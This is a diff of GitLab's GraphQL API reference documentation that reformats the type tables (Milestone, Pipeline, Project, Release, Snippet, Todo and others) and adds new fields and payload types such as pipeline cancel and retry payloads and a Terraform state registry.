-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `path` | String | Path to a file with the dashboard definition |
| `schemaValidationWarnings` | String! => Array | Dashboard schema validation warnings |
-## MetricsDashboardAnnotation
+### MetricsDashboardAnnotation
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `description` | String | Description of the annotation |
| `endingAt` | Time | Timestamp marking end of annotated time span |
| `id` | ID! | ID of the annotation |
| `panelId` | String | ID of a dashboard panel to which the annotation should be scoped |
| `startingAt` | Time | Timestamp marking start of annotated time span |
-## Milestone
+### Milestone
Represents a milestone.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `burnupTimeSeries` | BurnupChartDailyTotals! => Array | Daily scope and completed totals for burnup charts |
| `createdAt` | Time! | Timestamp of milestone creation |
| `description` | String | Description of the milestone |
| `dueDate` | Time | Timestamp of the milestone due date |
@@ -1478,19 +1617,19 @@ Represents a milestone.
| `updatedAt` | Time! | Timestamp of last milestone update |
| `webPath` | String! | Web path of the milestone |
-## MilestoneStats
+### MilestoneStats
-Contains statistics about a milestone
+Contains statistics about a milestone.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `closedIssuesCount` | Int | Number of closed issues associated with the milestone |
| `totalIssuesCount` | Int | Total number of issues associated with the milestone |
-## Namespace
+### Namespace
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `description` | String | Description of the namespace |
| `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` |
| `fullName` | String! | Full name of the namespace |
@@ -1506,20 +1645,20 @@ Contains statistics about a milestone
| `temporaryStorageIncreaseEndsOn` | Time | Date until the temporary storage increase is active |
| `visibility` | String | Visibility of the namespace |
-## NamespaceIncreaseStorageTemporarilyPayload
+### NamespaceIncreaseStorageTemporarilyPayload
-Autogenerated return type of NamespaceIncreaseStorageTemporarily
+Autogenerated return type of NamespaceIncreaseStorageTemporarily.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `namespace` | Namespace | The namespace after mutation |
-## Note
+### Note
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `author` | User! | User who wrote this note |
| `body` | String! | Content of the note |
| `bodyHtml` | String | The GitLab Flavored Markdown rendering of `note` |
@@ -1538,22 +1677,22 @@ Autogenerated return type of NamespaceIncreaseStorageTemporarily
| `updatedAt` | Time! | Timestamp of the note's last activity |
| `userPermissions` | NotePermissions! | Permissions for the current user on the resource |
-## NotePermissions
+### NotePermissions
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `adminNote` | Boolean! | Indicates the user can perform `admin_note` on this resource |
| `awardEmoji` | Boolean! | Indicates the user can perform `award_emoji` on this resource |
| `createNote` | Boolean! | Indicates the user can perform `create_note` on this resource |
| `readNote` | Boolean! | Indicates the user can perform `read_note` on this resource |
| `resolveNote` | Boolean! | Indicates the user can perform `resolve_note` on this resource |
-## Package
+### Package
-Represents a package
+Represents a package.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `createdAt` | Time! | The created date |
| `id` | ID! | The ID of the package |
| `name` | String! | The name of the package |
@@ -1561,12 +1700,12 @@ Represents a package
| `updatedAt` | Time! | The update date |
| `version` | String | The version of the package |
-## PackageFileRegistry
+### PackageFileRegistry
-Represents the sync and verification state of a package file
+Represents the sync and verification state of a package file.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `createdAt` | Time | Timestamp when the PackageFileRegistry was created |
| `id` | ID! | ID of the PackageFileRegistry |
| `lastSyncFailure` | String | Error message during sync of the PackageFileRegistry |
@@ -1576,22 +1715,23 @@ Represents the sync and verification state of a package file
| `retryCount` | Int | Number of consecutive failed sync attempts of the PackageFileRegistry |
| `state` | RegistryState | Sync state of the PackageFileRegistry |
-## PageInfo
+### PageInfo
-Information about pagination in a connection.
+Information about pagination in a connection..
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `endCursor` | String | When paginating forwards, the cursor to continue. |
| `hasNextPage` | Boolean! | When paginating forwards, are there more items? |
| `hasPreviousPage` | Boolean! | When paginating backwards, are there more items? |
| `startCursor` | String | When paginating backwards, the cursor to continue. |
-## Pipeline
+### Pipeline
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `beforeSha` | String | Base SHA of the source branch |
+| `cancelable` | Boolean! | Specifies if a pipeline can be canceled |
| `committedAt` | Time | Timestamp of the pipeline's commit |
| `configSource` | PipelineConfigSourceEnum | Config source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, AUTO_DEVOPS_SOURCE, WEBIDE_SOURCE, REMOTE_SOURCE, EXTERNAL_PROJECT_SOURCE, BRIDGE_SOURCE, PARAMETER_SOURCE) |
| `coverage` | Float | Coverage percentage |
@@ -1601,6 +1741,7 @@ Information about pagination in a connection.
| `finishedAt` | Time | Timestamp of the pipeline's completion |
| `id` | ID! | ID of the pipeline |
| `iid` | String! | Internal ID of the pipeline |
+| `retryable` | Boolean! | Specifies if a pipeline can be retried |
| `securityReportSummary` | SecurityReportSummary | Vulnerability and scanned resource counts for each security scanner of the pipeline |
| `sha` | String! | SHA of the pipeline's commit |
| `startedAt` | Time | Timestamp when the pipeline was started |
@@ -1609,18 +1750,46 @@ Information about pagination in a connection.
| `user` | User | Pipeline user |
| `userPermissions` | PipelinePermissions! | Permissions for the current user on the resource |
-## PipelinePermissions
+### PipelineCancelPayload
+
+Autogenerated return type of PipelineCancel.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+
+### PipelineDestroyPayload
-| Name | Type | Description |
-| --- | ---- | ---------- |
+Autogenerated return type of PipelineDestroy.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+
+### PipelinePermissions
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `adminPipeline` | Boolean! | Indicates the user can perform `admin_pipeline` on this resource |
| `destroyPipeline` | Boolean! | Indicates the user can perform `destroy_pipeline` on this resource |
| `updatePipeline` | Boolean! | Indicates the user can perform `update_pipeline` on this resource |
-## Project
+### PipelineRetryPayload
+
+Autogenerated return type of PipelineRetry.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `pipeline` | Pipeline | The pipeline after mutation |
+
+### Project
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `alertManagementAlert` | AlertManagementAlert | A single Alert Management alert of the project |
| `alertManagementAlertStatusCounts` | AlertManagementAlertStatusCountsType | Counts of alerts by status for the project |
| `allowMergeOnSkippedPipeline` | Boolean | If `only_allow_merge_if_pipeline_succeeds` is true, indicates if merge requests of the project can also be merged with skipped jobs |
@@ -1628,9 +1797,11 @@ Information about pagination in a connection.
| `autocloseReferencedIssues` | Boolean | Indicates if issues referenced by merge requests and commits within the default branch are closed automatically |
| `avatarUrl` | String | URL to avatar image file of the project |
| `board` | Board | A single board of the project |
+| `clusterAgent` | ClusterAgent | Find a single cluster agent by name |
| `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy of the project |
| `containerRegistryEnabled` | Boolean | Indicates if the project stores Docker container images in a container registry |
| `createdAt` | Time | Timestamp of the project creation |
+| `dastSiteProfile` | DastSiteProfile | DAST Site Profile associated with the project |
| `description` | String | Short description of the project |
| `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` |
| `environment` | Environment | A single environment of the project |
@@ -1675,7 +1846,7 @@ Information about pagination in a connection.
| `sentryErrors` | SentryErrorCollection | Paginated collection of Sentry errors on the project |
| `serviceDeskAddress` | String | E-mail address of the service desk. |
| `serviceDeskEnabled` | Boolean | Indicates if the project has service desk enabled. |
-| `sharedRunnersEnabled` | Boolean | Indicates if Shared Runners are enabled for the project |
+| `sharedRunnersEnabled` | Boolean | Indicates if shared runners are enabled for the project |
| `snippetsEnabled` | Boolean | Indicates if Snippets are enabled for the current user |
| `sshUrlToRepo` | String | URL to connect to the project via SSH |
| `starCount` | Int! | Number of times the project has been starred |
@@ -1684,16 +1855,16 @@ Information about pagination in a connection.
| `tagList` | String | List of project topics (not Git tags) |
| `userPermissions` | ProjectPermissions! | Permissions for the current user on the resource |
| `visibility` | String | Visibility of the project |
-| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each severity of vulnerability of the project |
+| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity in the project |
| `webUrl` | String | Web URL of the project |
| `wikiEnabled` | Boolean | Indicates if Wikis are enabled for the current user |
-## ProjectMember
+### ProjectMember
-Represents a Project Member
+Represents a Project Membership.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `accessLevel` | AccessLevel | GitLab::Access level |
| `createdAt` | Time | Date and time the membership was created |
| `createdBy` | User | User that authorized membership |
@@ -1704,10 +1875,10 @@ Represents a Project Member
| `user` | User! | User that is associated with the member object |
| `userPermissions` | ProjectPermissions! | Permissions for the current user on the resource |
-## ProjectPermissions
+### ProjectPermissions
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `adminOperations` | Boolean! | Indicates the user can perform `admin_operations` on this resource |
| `adminProject` | Boolean! | Indicates the user can perform `admin_project` on this resource |
| `adminRemoteMirror` | Boolean! | Indicates the user can perform `admin_remote_mirror` on this resource |
@@ -1751,10 +1922,10 @@ Represents a Project Member
| `updateWiki` | Boolean! | Indicates the user can perform `update_wiki` on this resource |
| `uploadFile` | Boolean! | Indicates the user can perform `upload_file` on this resource |
-## ProjectStatistics
+### ProjectStatistics
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `buildArtifactsSize` | Float! | Build artifacts size of the project |
| `commitCount` | Float! | Commit count of the project |
| `lfsObjectsSize` | Float! | Large File Storage (LFS) object size of the project |
@@ -1764,21 +1935,21 @@ Represents a Project Member
| `storageSize` | Float! | Storage size of the project |
| `wikiSize` | Float | Wiki size of the project |
-## PrometheusAlert
+### PrometheusAlert
-The alert condition for Prometheus
+The alert condition for Prometheus.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `humanizedText` | String! | The human-readable text of the alert condition |
| `id` | ID! | ID of the alert condition |
-## Release
+### Release
-Represents a release
+Represents a release.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `assets` | ReleaseAssets | Assets of the release |
| `author` | User | User that created the release |
| `commit` | Commit | The commit associated with the release |
@@ -1790,125 +1961,128 @@ Represents a release
| `releasedAt` | Time | Timestamp of when the release was released |
| `tagName` | String | Name of the tag associated with the release |
| `tagPath` | String | Relative web path to the tag associated with the release |
+| `upcomingRelease` | Boolean | Indicates the release is an upcoming release |
-## ReleaseAssetLink
+### ReleaseAssetLink
-Represents an asset link associated with a release
+Represents an asset link associated with a release.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `directAssetUrl` | String | Direct asset URL of the link |
| `external` | Boolean | Indicates the link points to an external resource |
| `id` | ID! | ID of the link |
| `linkType` | ReleaseAssetLinkType | Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other` |
| `name` | String | Name of the link |
| `url` | String | URL of the link |
-## ReleaseAssets
+### ReleaseAssets
-A container for all assets associated with a release
+A container for all assets associated with a release.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `count` | Int | Number of assets of the release |
-## ReleaseEvidence
+### ReleaseEvidence
-Evidence for a release
+Evidence for a release.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `collectedAt` | Time | Timestamp when the evidence was collected |
| `filepath` | String | URL from where the evidence can be downloaded |
| `id` | ID! | ID of the evidence |
| `sha` | String | SHA1 ID of the evidence hash |
-## ReleaseLinks
+### ReleaseLinks
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `editUrl` | String | HTTP URL of the release's edit page |
| `issuesUrl` | String | HTTP URL of the issues page filtered by this release |
| `mergeRequestsUrl` | String | HTTP URL of the merge request page filtered by this release |
| `selfUrl` | String | HTTP URL of the release |
-## ReleaseSource
+### ReleaseSource
-Represents the source code attached to a release in a particular format
+Represents the source code attached to a release in a particular format.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `format` | String | Format of the source |
| `url` | String | Download URL of the source |
-## RemoveAwardEmojiPayload
+### RemoveAwardEmojiPayload
-Autogenerated return type of RemoveAwardEmoji
+Autogenerated return type of RemoveAwardEmoji.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `awardEmoji` | AwardEmoji | The award emoji after mutation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## RemoveProjectFromSecurityDashboardPayload
+### RemoveProjectFromSecurityDashboardPayload
-Autogenerated return type of RemoveProjectFromSecurityDashboard
+Autogenerated return type of RemoveProjectFromSecurityDashboard.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## Repository
+### Repository
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `empty` | Boolean! | Indicates repository has no visible content |
| `exists` | Boolean! | Indicates a corresponding Git repository exists on disk |
| `rootRef` | String | Default branch of the repository |
| `tree` | Tree | Tree of the repository |
-## Requirement
+### Requirement
-Represents a requirement
+Represents a requirement.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `author` | User! | Author of the requirement |
| `createdAt` | Time! | Timestamp of when the requirement was created |
| `id` | ID! | ID of the requirement |
| `iid` | ID! | Internal ID of the requirement |
+| `lastTestReportState` | TestReportState | Latest requirement test report state |
| `project` | Project! | Project to which the requirement belongs |
| `state` | RequirementState! | State of the requirement |
| `title` | String | Title of the requirement |
| `updatedAt` | Time! | Timestamp of when the requirement was last updated |
| `userPermissions` | RequirementPermissions! | Permissions for the current user on the resource |
-## RequirementPermissions
+### RequirementPermissions
-Check permissions for the current user on a requirement
+Check permissions for the current user on a requirement.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `adminRequirement` | Boolean! | Indicates the user can perform `admin_requirement` on this resource |
| `createRequirement` | Boolean! | Indicates the user can perform `create_requirement` on this resource |
| `destroyRequirement` | Boolean! | Indicates the user can perform `destroy_requirement` on this resource |
| `readRequirement` | Boolean! | Indicates the user can perform `read_requirement` on this resource |
| `updateRequirement` | Boolean! | Indicates the user can perform `update_requirement` on this resource |
-## RequirementStatesCount
+### RequirementStatesCount
Counts of requirements by their state.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `archived` | Int | Number of archived requirements |
| `opened` | Int | Number of opened requirements |
-## RootStorageStatistics
+### RootStorageStatistics
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `buildArtifactsSize` | Float! | The CI artifacts size in bytes |
| `lfsObjectsSize` | Float! | The LFS objects size in bytes |
| `packagesSize` | Float! | The packages size in bytes |
@@ -1917,33 +2091,33 @@ Counts of requirements by their state.
| `storageSize` | Float! | The total storage in bytes |
| `wikiSize` | Float! | The wiki size in bytes |
-## RunDASTScanPayload
+### RunDASTScanPayload
-Autogenerated return type of RunDASTScan
+Autogenerated return type of RunDASTScan.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `pipelineUrl` | String | URL of the pipeline that was created. |
-## SastCiConfigurationAnalyzersEntity
+### SastCiConfigurationAnalyzersEntity
-Represents an analyzer entity in SAST CI configuration
+Represents an analyzer entity in SAST CI configuration.
-| Name | Type | Description |
-| --- | ---- | ---------- |
-| `description` | String | Analyzer description that is displayed on the form. |
-| `enabled` | Boolean | Indicates whether an analyzer is enabled. |
-| `label` | String | Analyzer label used in the config UI. |
-| `name` | String | Name of the analyzer. |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `description` | String | Analyzer description that is displayed on the form |
+| `enabled` | Boolean | Indicates whether an analyzer is enabled |
+| `label` | String | Analyzer label used in the config UI |
+| `name` | String | Name of the analyzer |
-## SastCiConfigurationEntity
+### SastCiConfigurationEntity
-Represents an entity in SAST CI configuration
+Represents an entity in SAST CI configuration.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `defaultValue` | String | Default value that is used if value is empty. |
| `description` | String | Entity description that is displayed on the form. |
| `field` | String | CI keyword of entity. |
@@ -1952,30 +2126,30 @@ Represents an entity in SAST CI configuration
| `type` | String | Type of the field value. |
| `value` | String | Current value of the entity. |
-## SastCiConfigurationOptionsEntity
+### SastCiConfigurationOptionsEntity
-Represents an entity for options in SAST CI configuration
+Represents an entity for options in SAST CI configuration.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `label` | String | Label of option entity. |
| `value` | String | Value of option entity. |
-## ScannedResource
+### ScannedResource
-Represents a resource scanned by a security scan
+Represents a resource scanned by a security scan.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `requestMethod` | String | The HTTP request method used to access the URL |
| `url` | String | The URL scanned by the scanner |
-## SecurityReportSummary
+### SecurityReportSummary
-Represents summary of a security report
+Represents summary of a security report.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `containerScanning` | SecurityReportSummarySection | Aggregated counts for the container_scanning scan |
| `coverageFuzzing` | SecurityReportSummarySection | Aggregated counts for the coverage_fuzzing scan |
| `dast` | SecurityReportSummarySection | Aggregated counts for the dast scan |
@@ -1983,32 +2157,32 @@ Represents summary of a security report
| `sast` | SecurityReportSummarySection | Aggregated counts for the sast scan |
| `secretDetection` | SecurityReportSummarySection | Aggregated counts for the secret_detection scan |
-## SecurityReportSummarySection
+### SecurityReportSummarySection
-Represents a section of a summary of a security report
+Represents a section of a summary of a security report.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `scannedResourcesCount` | Int | Total number of scanned resources |
| `scannedResourcesCsvPath` | String | Path to download all the scanned resources in CSV format |
| `vulnerabilitiesCount` | Int | Total number of vulnerabilities |
-## SecurityScanners
+### SecurityScanners
-Represents a list of security scanners
+Represents a list of security scanners.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `available` | SecurityScannerType! => Array | List of analyzers which are available for the project. |
| `enabled` | SecurityScannerType! => Array | List of analyzers which are enabled for the project. |
| `pipelineRun` | SecurityScannerType! => Array | List of analyzers which ran successfully in the latest pipeline. |
-## SentryDetailedError
+### SentryDetailedError
A Sentry error.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `count` | Int! | Count of occurrences |
| `culprit` | String! | Culprit of the error |
| `externalBaseUrl` | String! | External Base URL of the Sentry Instance |
@@ -2038,12 +2212,12 @@ A Sentry error.
| `type` | String! | Type of the error |
| `userCount` | Int! | Count of users affected by the error |
-## SentryError
+### SentryError
A Sentry error. A simplified version of SentryDetailedError.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `count` | Int! | Count of occurrences |
| `culprit` | String! | Culprit of the error |
| `externalUrl` | String! | External URL of the error |
@@ -2062,70 +2236,70 @@ A Sentry error. A simplified version of SentryDetailedError.
| `type` | String! | Type of the error |
| `userCount` | Int! | Count of users affected by the error |
-## SentryErrorCollection
+### SentryErrorCollection
An object containing a collection of Sentry errors, and a detailed error.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `detailedError` | SentryDetailedError | Detailed version of a Sentry error on the project |
| `errorStackTrace` | SentryErrorStackTrace | Stack Trace of Sentry Error |
| `errors` | SentryErrorConnection | Collection of Sentry Errors |
| `externalUrl` | String | External URL for Sentry |
-## SentryErrorFrequency
+### SentryErrorFrequency
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `count` | Int! | Count of errors received since the previously recorded time |
| `time` | Time! | Time the error frequency stats were recorded |
-## SentryErrorStackTrace
+### SentryErrorStackTrace
An object containing a stack trace entry for a Sentry error.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `dateReceived` | String! | Time the stack trace was received by Sentry |
| `issueId` | String! | ID of the Sentry error |
| `stackTraceEntries` | SentryErrorStackTraceEntry! => Array | Stack trace entries for the Sentry error |
-## SentryErrorStackTraceContext
+### SentryErrorStackTraceContext
-An object context for a Sentry error stack trace
+An object context for a Sentry error stack trace.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `code` | String! | Code number of the context |
| `line` | Int! | Line number of the context |
-## SentryErrorStackTraceEntry
+### SentryErrorStackTraceEntry
An object containing a stack trace entry for a Sentry error.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `col` | String | Function in which the Sentry error occurred |
| `fileName` | String | File in which the Sentry error occurred |
| `function` | String | Function in which the Sentry error occurred |
| `line` | String | Function in which the Sentry error occurred |
| `traceContext` | SentryErrorStackTraceContext! => Array | Context of the Sentry error |
-## SentryErrorTags
+### SentryErrorTags
-State of a Sentry error
+State of a Sentry error.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `level` | String | Severity level of the Sentry Error |
| `logger` | String | Logger of the Sentry Error |
-## Snippet
+### Snippet
-Represents a snippet entry
+Represents a snippet entry.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `author` | User | The owner of the snippet |
| `blob` **{warning-solid}** | SnippetBlob! | **Deprecated:** Use `blobs`. Deprecated in 13.3 |
| `blobs` | SnippetBlob! => Array | Snippet blobs |
@@ -2144,12 +2318,12 @@ Represents a snippet entry
| `visibilityLevel` | VisibilityLevelsEnum! | Visibility Level of the snippet |
| `webUrl` | String! | Web URL of the snippet |
-## SnippetBlob
+### SnippetBlob
-Represents the snippet blob
+Represents the snippet blob.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `binary` | Boolean! | Shows whether the blob is binary |
| `externalStorage` | String | Blob external storage |
| `mode` | String | Blob mode |
@@ -2163,12 +2337,12 @@ Represents the snippet blob
| `simpleViewer` | SnippetBlobViewer! | Blob content simple viewer |
| `size` | Int! | Blob size |
-## SnippetBlobViewer
+### SnippetBlobViewer
-Represents how the blob content should be displayed
+Represents how the blob content should be displayed.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `collapsed` | Boolean! | Shows whether the blob should be displayed collapsed |
| `fileType` | String! | Content file type |
| `loadAsync` | Boolean! | Shows whether the blob content is loaded async |
@@ -2177,10 +2351,10 @@ Represents how the blob content should be displayed
| `tooLarge` | Boolean! | Shows whether the blob too large to be displayed |
| `type` | BlobViewersType! | Type of blob viewer |
-## SnippetPermissions
+### SnippetPermissions
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `adminSnippet` | Boolean! | Indicates the user can perform `admin_snippet` on this resource |
| `awardEmoji` | Boolean! | Indicates the user can perform `award_emoji` on this resource |
| `createNote` | Boolean! | Indicates the user can perform `create_note` on this resource |
@@ -2188,10 +2362,10 @@ Represents how the blob content should be displayed
| `reportSnippet` | Boolean! | Indicates the user can perform `report_snippet` on this resource |
| `updateSnippet` | Boolean! | Indicates the user can perform `update_snippet` on this resource |
-## Submodule
+### Submodule
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `flatPath` | String! | Flat path of the entry |
| `id` | ID! | ID of the entry |
| `name` | String! | Name of the entry |
@@ -2201,44 +2375,60 @@ Represents how the blob content should be displayed
| `type` | EntryType! | Type of tree entry |
| `webUrl` | String | Web URL for the sub-module |
-## TaskCompletionStatus
+### TaskCompletionStatus
-Completion status of tasks
+Completion status of tasks.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `completedCount` | Int! | Number of completed tasks |
| `count` | Int! | Number of total tasks |
-## TestReport
+### TerraformStateRegistry
+
+Represents the sync and verification state of a terraform state.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `createdAt` | Time | Timestamp when the TerraformStateRegistry was created |
+| `id` | ID! | ID of the TerraformStateRegistry |
+| `lastSyncFailure` | String | Error message during sync of the TerraformStateRegistry |
+| `lastSyncedAt` | Time | Timestamp of the most recent successful sync of the TerraformStateRegistry |
+| `retryAt` | Time | Timestamp after which the TerraformStateRegistry should be resynced |
+| `retryCount` | Int | Number of consecutive failed sync attempts of the TerraformStateRegistry |
+| `state` | RegistryState | Sync state of the TerraformStateRegistry |
+| `terraformStateId` | ID! | ID of the TerraformState |
+
+### TestReport
Represents a requirement test report.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `author` | User | Author of the test report |
| `createdAt` | Time! | Timestamp of when the test report was created |
| `id` | ID! | ID of the test report |
| `state` | TestReportState! | State of the test report |
-## Timelog
+### Timelog
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `date` **{warning-solid}** | Time! | **Deprecated:** Use `spentAt`. Deprecated in 12.10 |
| `issue` | Issue | The issue that logged time was added to |
+| `note` | Note | The note where the quick action to add the logged time was executed |
| `spentAt` | Time | Timestamp of when the time tracked was spent at |
| `timeSpent` | Int! | The time spent displayed in seconds |
| `user` | User! | The user that logged the time |
-## Todo
+### Todo
-Representing a todo entry
+Representing a todo entry.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `action` | TodoActionEnum! | Action of the todo |
-| `author` | User! | The owner of this todo |
+| `author` | User! | The author of this todo |
| `body` | String! | Body of the todo |
| `createdAt` | Time! | Timestamp this todo was created |
| `group` | Group | Group this todo is associated with |
@@ -2247,71 +2437,71 @@ Representing a todo entry
| `state` | TodoStateEnum! | State of the todo |
| `targetType` | TodoTargetEnum! | Target type of the todo |
-## TodoMarkDonePayload
+### TodoMarkDonePayload
-Autogenerated return type of TodoMarkDone
+Autogenerated return type of TodoMarkDone.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `todo` | Todo! | The requested todo |
-## TodoRestoreManyPayload
+### TodoRestoreManyPayload
-Autogenerated return type of TodoRestoreMany
+Autogenerated return type of TodoRestoreMany.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `todos` | Todo! => Array | Updated todos |
| `updatedIds` **{warning-solid}** | ID! => Array | **Deprecated:** Use todos. Deprecated in 13.2 |
-## TodoRestorePayload
+### TodoRestorePayload
-Autogenerated return type of TodoRestore
+Autogenerated return type of TodoRestore.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `todo` | Todo! | The requested todo |
-## TodosMarkAllDonePayload
+### TodosMarkAllDonePayload
-Autogenerated return type of TodosMarkAllDone
